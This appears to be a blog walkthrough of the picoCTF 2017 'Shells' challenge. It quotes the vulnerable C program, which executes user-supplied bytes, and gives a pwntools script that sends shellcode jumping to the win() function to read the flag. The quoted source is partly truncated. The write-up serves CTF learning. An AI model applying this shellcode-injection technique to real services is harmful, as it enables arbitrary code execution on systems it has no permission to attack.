picoCTF is another interesting CTF competition found at https://2017.picoctf.com/

We will take a look at one of the binary exploitation challenges, Shells.

How much can a couple bytes do? Use shells ! Source. Connect on shell2017.picoctf.com:55049.

First lets, look at source code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 10

//TODO: Ask IT why this is here
void win(){
    system("/bin/cat ./flag.txt");    

void vuln(){
    if(stuff == MAP_FAILED){
        printf("Failed to get space. Please talk to admin\n");
    printf("Give me %d bytes:\n", AMOUNT_OF_STUFF);
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
    if(len == 0){
        printf("You didn't give me anything :(");
    void (*func)() = (void (*)())stuff;

int main(int argc, char*argv[]){
    printf("My mother told me to never accept things from strangers\n");
    printf("How bad could running a couple bytes be though?\n");
    return 0;

From source code, we can see that we need to call win function. In vuln we see that program maps memory for user input and sets read/write/execute permission on it. After that it, in this strange looking line of code,

void (*func)() = (void (*)())stuff;

casts input buffer to void f() and assigns it to function pointer. For example if we wanted to cast to something like int f(char a, int b) we would use (int (*)(char,int)).

First, we need to find the address of win function in shells binary, we can use objdump for this:

objdump -d shells -M intel

objdump disasembly of win function

And we get function address 0x08048540.

My first idea was just to pass function address but it didn’t work since we need actual assembly code. So let's write some shellcode using pwntools:

from pwn import *

context.arch = 'i386'
context.terminal = 'tmux'

r = remote('shell2017.picoctf.com', 55049)
print r.recvuntil('Give me 10 bytes:')
payload = asm('mov eax, 0x08048540') + asm('call eax')
print r.recvall()

We just set the context so pwntools knows arch of the system, connect to the server and send our shellcode:

move eax, 0x08048540
call eax

We call from register since in that case value is interpreted as an absolute address offset instead of relative (if we just used call 0x08048540).

Also, we could have just used push/ret shellcode.

push 0x08048540

In any case, running our python scripts gives us the flag :D

- F3real